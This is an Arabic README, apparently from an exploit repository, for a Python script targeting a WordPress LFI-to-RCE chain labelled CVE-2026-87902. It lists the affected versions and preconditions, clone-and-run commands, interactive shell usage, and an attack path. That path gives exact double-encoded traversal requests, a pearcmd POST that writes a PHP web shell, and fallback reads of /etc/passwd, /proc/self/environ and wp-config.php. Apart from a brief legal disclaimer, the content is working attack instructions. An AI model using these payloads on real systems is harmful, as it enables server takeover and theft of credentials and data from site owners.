مستغل Python لـ CVE-2026-87902، سلسلة LFI-to-RCE في نواة WordPress. يحدد الإصدارات، ويكتب PHP shell عبر pearcmd، ويوفر تنفيذ الأوامر أو LFI كخيار احتياطي.
⚠️ تحذير قانوني استخدامه ضد أنظمة لا تملكها أو ليس لديك إذن كتابي باختبارها غير قانوني ويعاقب عليه بموجب قوانين الجرائم الإلكترونية. المؤلف لا يتحمل أي مسؤولية عن سوء الاستخدام.
| الحقل | القيمة |
|---|
| CVE | CVE-2026-87902 |
| النوع | تضمين ملف محلي (LFI) → تنفيذ كود عن بُعد (RCE) |
| CWE | CWE-98 |
| CVSS v3.1 | 9.2 (حرجة) |
| ناقل الهجوم | الشبكة (بدون مصادقة) |
| المتأثر | WordPress 4.7.0 – 7.1.1 |
| المُصحَّح | WordPress 7.1.2 (والنسخ الخلفية حتى 4.7.37) |
| السبب الجذري | get_page_template() لا تستدعي validate_file() بعد فك ترميز URL لمعامل pagename، مما يسمح بالتجاوز المزدوج المُرمَّز (%252E%252E%252F) لتجاوز التعقيم وتضمين ملفات .php عشوائية خارج دليل القالب. |
لتحقيق RCE كامل، يجب أن تتحقق جميع الشروط التالية:
page-* في المستوى الأعلى (مثل page-templates/)pearcmd.php وقابليته للقراءة من قبل مستخدم خادم الويب (افتراضي في صور PHP Docker الرسمية والعديد من تثبيتات cPanel مع PHP < 8.5)register_argc_argv=On في PHP (افتراضي في PHP < 8.5)إذا كان أي من هذه الشروط مفقودًا، سيرجع الاستغلال إلى قراءة الملفات عبر LFI فقط.
exploit.py # سكربت الاستغلال الرئيسي README.md # هذا الملف report.json # (اختياري) تقرير المخرجات عند استخدام -o
التثبيت:
apt update
apt upgrade
apt install python
apt install git
pip install requests
git clone https://github.com/zyphorixofficialmain-lab/cve-2026-87902
cd cve-2026-87902
python3 exploit.py -t https://site.com -v
سيقوم هذا بـ:
· بصمة إصدار WordPress والقالب النشط · التحقق من نطاق الإصدارات المصابة · تحديد معرّف صفحة منشورة (REST → sitemap → القوة الغاشمة) · محاولة كتابة shell PHP عبر pearcmd.php · محاولة تضمين الـ shell وتنفيذ id · إذا فشل RCE، يرجع إلى LFI على الملفات الحساسة
python3 exploit.py -t https://site.com -c "id"
python3 exploit.py -t https://site.com -i -v
داخل الـ shell:
wp$ id
wp$ uname -a
wp$ cat /etc/passwd
wp$ exit
python3 exploit.py -t https://site.com -o report.json -v
python3 exploit.py -t https://site.com -c "whoami" -o report.json -v
🧾 مرجع CLI
العلم الطويل الوصف -t --target مطلوب. رابط WordPress الهدف (بدون شرطة مائلة في النهاية). -c --command تنفيذ أمر shell واحد بعد RCE. -i --interactive فتح shell تفاعلي بعد RCE. -v --verbose طباعة التقدم المفصّل. -o --output حفظ التقرير النهائي بصيغة JSON في المسار المحدد. -h --help عرض المساعدة.
🔄 مسار الاستغلال
[1] البصمة
├─ إصدار WordPress (meta generator / asset ?ver=)
└─ القالب النشط (/wp-content/themes/<name>/)
[2] التحقق من الإصدار
└─ 4.7.0 – 7.1.1 ? متابعة : تحذير ومتابعة
[3] إيجاد معرّف الصفحة
├─ REST: /wp-json/wp/v2/pages
├─ Sitemap: /wp-sitemap.xml
└─ القوة الغاشمة: /?page_id=1..30
[4] التحقق من دليل page-*
├─ page-templates
├─ page-template
├─ pages
├─ templates
└─ page
[5] كتابة shell عبر pearcmd
└─ POST /?+config-create+/&page_id=<id>&pagename=templates%252F..%252F..%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd
body: root=<?php system($_GET['c']); ?>
[6] تضمين shell
└─ GET /?page_id=<id>&pagename=templates%252F..%252F..%252Ftmp%252F<shell>.php&c=id
[7] LFI الاحتياطي (إذا فشل RCE)
├─ /etc/passwd
├─ /etc/hostname
├─ /proc/self/environ
├─ /proc/version
├─ wp-config.php
└─ متغيرات ../..